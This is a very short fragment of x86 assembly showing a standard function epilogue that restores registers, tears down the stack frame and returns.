pop esi
pop ebx
mov esp, ebp
pop ebp
ret